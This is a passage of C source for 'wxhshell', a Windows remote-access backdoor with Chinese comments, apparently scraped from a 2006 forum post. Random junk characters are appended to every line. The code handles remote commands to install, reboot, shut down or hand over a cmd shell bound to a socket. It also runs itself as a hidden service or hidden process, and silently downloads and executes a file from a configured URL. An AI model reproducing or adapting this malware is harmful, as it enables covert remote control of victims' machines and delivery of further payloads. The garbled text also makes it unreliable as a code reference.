    switch(cmd[0]) { ,b%T[s7  
  llXyM */  
  // 帮助 s_}T -%\  
  case '?': { ,|,DXw  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); uW3`gwwlU  
    break; 3Sv<Viuo  
  } &'uFy0d,  
  // 安装 Pwn"!pk  
  case 'i': { L1 1/XpR  
    if(Install()) (iXo\y`z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N:[22`NP  
    else T0J"Wr>WY  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M.iR5Uh  
    break; {f3&s4xj=  
    } dlsVE~_G  
  // 卸载 E5(\/;[*`  
  case 'r': { q{gt2OWqX  
    if(Uninstall()) z=J%-Hq>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =\GuIH2  
    else q-P$ \":  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g} 7FR({b  
    break; ?4GI19j  
    } <2Lcy&w_M  
  // 显示 wxhshell 所在路径 TR/'L!EE  
  case 'p': { |!NKKvf  
    char svExeFile[MAX_PATH]; L s6P<"V  
    strcpy(svExeFile,"\n\r"); k7yQEU  
      strcat(svExeFile,ExeFile); 1bs 8fUPB3  
        send(wsh,svExeFile,strlen(svExeFile),0); B:Ec(USe  
    break; >bWx!M]  
    } ?kEcYD  
  // 重启 m{4e+&S|  
  case 'b': { L8("1_  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0hnTHlk  
    if(Boot(REBOOT)) :SjTkfU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;$gZ?&  
    else { 0vbiq  
    closesocket(wsh); 1:%HE*r  
    ExitThread(0); /R7qR#  
    } }<6xZy  
    break; }JyWy_Y  
    } m&(yx| a4+  
  // 关机 `KBgVhS>  
  case 'd': { OoL#8R  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); STmn%&  
    if(Boot(SHUTDOWN)) I%.KFPV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (ds-p[`[m  
    else { *)+1BYMo  
    closesocket(wsh); lX$6U| !  
    ExitThread(0); 3#o!K  
    } s\A"B#9r  
    break; Q|/uL`_ni  
    } 8q*MhH>6I  
  // 获取shell d:jD  
  case 's': {  yG -1g0  
    CmdShell(wsh); eq +t%  
    closesocket(wsh); 1~/?W^ir  
    ExitThread(0); {a -bew  
    break; lIPy)25~  
  } D.elE:  
  // 退出 `vs= CYs  
  case 'x': { Blv!%es  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Z |wM  
    CloseIt(wsh); SJ$N]<d  
    break; _X5@%/Vz  
    } 9fp@d  
  // 离开 2]W"sT[  
  case 'q': { a-w=LpVM  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ip6$Z3[)  
    closesocket(wsh); 8Yfg@"Tn  
    WSACleanup(); l`D^)~o8  
    exit(1); ." 9t<<!  
    break; s6Ox!)&  
        } Zo`Ku+RL2'  
  } VbR /k,Co  
  } AY{#!RtV  
wT/TQEgz  
  // 提示信息 *opf~B_e  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); C%P)_)- -V  
} CMI'y(GN  
  } -=_bXco}  
P{2V@ <}  
  return; o|#Mq"od  
} PR rf$& u  
8`Wj 1 ,q  
// shell模块句柄 V?"X0>]0  
int CmdShell(SOCKET sock) eHr|U$Rpo  
{ {B^V_TX2  
STARTUPINFO si; X :2%U  
ZeroMemory(&si,sizeof(si)); YNV!(>\GE  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; LB*qL  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; V mxVE=l  
PROCESS_INFORMATION ProcessInfo; Ckd=tvL  
char cmdline[]="cmd"; x;A"S  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); gD&/ k  
  return 0; ,M@LtA3g  
} ~&-8lD];LM  
fh~"A`d  
// 自身启动模式 R  Fgy  
int StartFromService(void) q;co53.+P)  
{ a(}dF?M=  
typedef struct vd>K=! J  
{ |X&.+RI  
  DWORD ExitStatus; hT:+x3  
  DWORD PebBaseAddress; o!.\+[  
  DWORD AffinityMask; Wr3j8"f/  
  DWORD BasePriority; fBCW/<Z  
  ULONG UniqueProcessId; E({+2}=1  
  ULONG InheritedFromUniqueProcessId; u 6&<Bv  
}   PROCESS_BASIC_INFORMATION; r(sQI# P  
"-aak )7w  
PROCNTQSIP NtQueryInformationProcess; JNhHQvi\  
R? aE:\A  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,#=ykg*~/  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; kO3{2$S6  
.yz-o\,gF%  
  HANDLE             hProcess; Jh1Q)05  
  PROCESS_BASIC_INFORMATION pbi; Ki#({~  
Hg8n`a;R  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); F O"8B  
  if(NULL == hInst ) return 0; 3V")~ m  
fQ>=\*b9x^  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (_&W@:"z  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }1]E=!?)&  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); HQi57QB  
>7@kwj-f)  
  if (!NtQueryInformationProcess) return 0; $Pa7B]A,Ae  
uK6_HvHuy  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 3f'dBn5  
  if(!hProcess) return 0; 3$Ecq|4J:  
$*)??uU  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ^qNh)?V?]I  
w k1O*_76  
  CloseHandle(hProcess); !eb} jL  
P'o:Vhm_H  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); cG|)z<Z  
if(hProcess==NULL) return 0; \BB(0Ah+t  
M6(oJ*  
HMODULE hMod; +uR|0Jo8X  
char procName[255]; p^^Ai  
unsigned long cbNeeded; B<.XowT'  
/4 zO  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); j.C)KwelBS  
.54E*V1  
  CloseHandle(hProcess); f.f5f%lO~  
 U)oH@/q  
if(strstr(procName,"services")) return 1; // 以服务启动 =GO/r; 4  
)c9]}:W&  
  return 0; // 注册表启动 5 `:+NwXS2  
} u15-|i{y7  
oicett=5  
// 主模块 >FtW~J"X  
int StartWxhshell(LPSTR lpCmdLine) bkmW[w:M  
{ -VK 6Fq  
  SOCKET wsl; - w41Bvz0  
BOOL val=TRUE; o`^GUY}  
  int port=0; HV:mS*e  
  struct sockaddr_in door; cv fh:~L  
tT7< V{i4  
  if(wscfg.ws_autoins) Install(); Zf~ [4Eeb  
z`gdE0@;d3  
port=atoi(lpCmdLine); QusEWq)}<  
StUiL>9T#  
if(port<=0) port=wscfg.ws_port; k;V4%O  
@\gTi;u/x  
  WSADATA data; /EY ^ui  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; XOl]s?6H$  
; n2|pC^  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   )k5lA=(Yr+  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); /a7tg+:  
  door.sin_family = AF_INET; ,e"A9ik#  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); .y7&!a35  
  door.sin_port = htons(port); c"aiZ(aP  
)"7hyW5  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { KZ ezA4  
closesocket(wsl); VdpkE0  
return 1; GD1=Fb"&)  
} K GlO;Q~7  
6T6 S9A*nT  
  if(listen(wsl,2) == INVALID_SOCKET) { hjiU{@q  
closesocket(wsl); oOk.Fq  
return 1; B`Q.<Lqu  
} '8~cf  
  Wxhshell(wsl); o l 67x  
  WSACleanup(); 1jZ:@M :  
rI&GM |  
return 0; rl)(4ad=  
9GnNL I{  
} riI0k{   
Z<a6U 3  
// 以NT服务方式启动 4)=LOGW  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) TQ&%SMCn  
{ hq9b  
DWORD   status = 0; yhr\eiJ@6  
  DWORD   specificError = 0xfffffff; 7 q<UJIf  
)>LQ{ X.  
  serviceStatus.dwServiceType     = SERVICE_WIN32; t1HUp dHY  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; @aR!  -}  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 02X~' To"  
  serviceStatus.dwWin32ExitCode     = 0; *AXu_^^  
  serviceStatus.dwServiceSpecificExitCode = 0; a/+tsbw  
  serviceStatus.dwCheckPoint       = 0; k4_Fn61J/  
  serviceStatus.dwWaitHint       = 0; "s$v?voo  
1Giy|;2/  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); L K9vvQz  
  if (hServiceStatusHandle==0) return; ] *{QVn(  
P,RCbPC4  
status = GetLastError(); g# ZR, q  
  if (status!=NO_ERROR) Egt;Bj#%  
{ x8p#WB  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; |u)?h] >  
    serviceStatus.dwCheckPoint       = 0; &Pt|  
    serviceStatus.dwWaitHint       = 0; EWN$ILdD  
    serviceStatus.dwWin32ExitCode     = status; e , zR  
    serviceStatus.dwServiceSpecificExitCode = specificError; /:>f$k4~h  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]?,47,[<  
    return; L@?Dmn'v  
  } HZ=Dd4!  
8?W!U*0aS  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ]}9cOb%I  
  serviceStatus.dwCheckPoint       = 0; YZ\$b=-  
  serviceStatus.dwWaitHint       = 0; !B?/6XRUx  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); NFGC.<  
} N s9cx  
!U#kUj:4I  
// 处理NT服务事件,比如:启动、停止 `"[VkQFB/  
VOID WINAPI NTServiceHandler(DWORD fdwControl) aPB %6c=  
{ o_U=]mEDY  
switch(fdwControl) 9;Ezm<VQ  
{ 'DF3|A],  
case SERVICE_CONTROL_STOP: !-r@_tn|  
  serviceStatus.dwWin32ExitCode = 0; mLD0Lu_Ob3  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; zsI0Q47\  
  serviceStatus.dwCheckPoint   = 0; T4T_32`XR  
  serviceStatus.dwWaitHint     = 0; '9GHmtdO,  
  { kgK7 T  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }jTEgog  
  } Js qze'BGY  
  return; )8&Q.? T  
case SERVICE_CONTROL_PAUSE: EA75 D&>I  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; _6qf>=qQ`"  
  break; N`y!Km  
case SERVICE_CONTROL_CONTINUE: \~xsBPX+x  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; p<'mc|hGq  
  break; g=pz&cz;>\  
case SERVICE_CONTROL_INTERROGATE: 8x'rNb  
  break; mT@UQCG  
}; k(\HAIW  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); IGql^,b  
} U*/  
a#!Vi93  
// 标准应用程序主函数 'O]_A57  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /{7x|ay]  
{ ? $pGG  
/'E+(Y&:J  
// 获取操作系统版本 $$ {ebt  
OsIsNt=GetOsVer(); %kNkDI  
GetModuleFileName(NULL,ExeFile,MAX_PATH); *%ZfE,bu8<  
Gyy:.]>&  
  // 从命令行安装 8NeP7.U<w  
  if(strpbrk(lpCmdLine,"iI")) Install(); s;}';#  
Mim 9C]h(  
  // 下载执行文件 e@p` -;<  
if(wscfg.ws_downexe) { hr@KWE`  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) >?M:oUVDU  
  WinExec(wscfg.ws_filenam,SW_HIDE); #x#.@  
} $a\q<fN}  
wx(| $2{h  
if(!OsIsNt) { NNutpA}s  
// 如果时win9x,隐藏进程并且设置为注册表启动 3-32q)8  
HideProc(); =DE5 Wq19  
StartWxhshell(lpCmdLine); Ym& _IOx  
} @Qruc\_  
else ;#/b=j\pi  
  if(StartFromService()) N3vk<sr@  
  // 以服务方式启动 'n4zFj+S  
  StartServiceCtrlDispatcher(DispatchTable); DXKk1u?Tq  
else 3`#sXt9C  
  // 普通方式启动 nUmA  
  StartWxhshell(lpCmdLine); ErB6fl  
{>QrI4*A  
return 0; +ls *04  
}
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只看该作者 1 发表于: 2006-10-10
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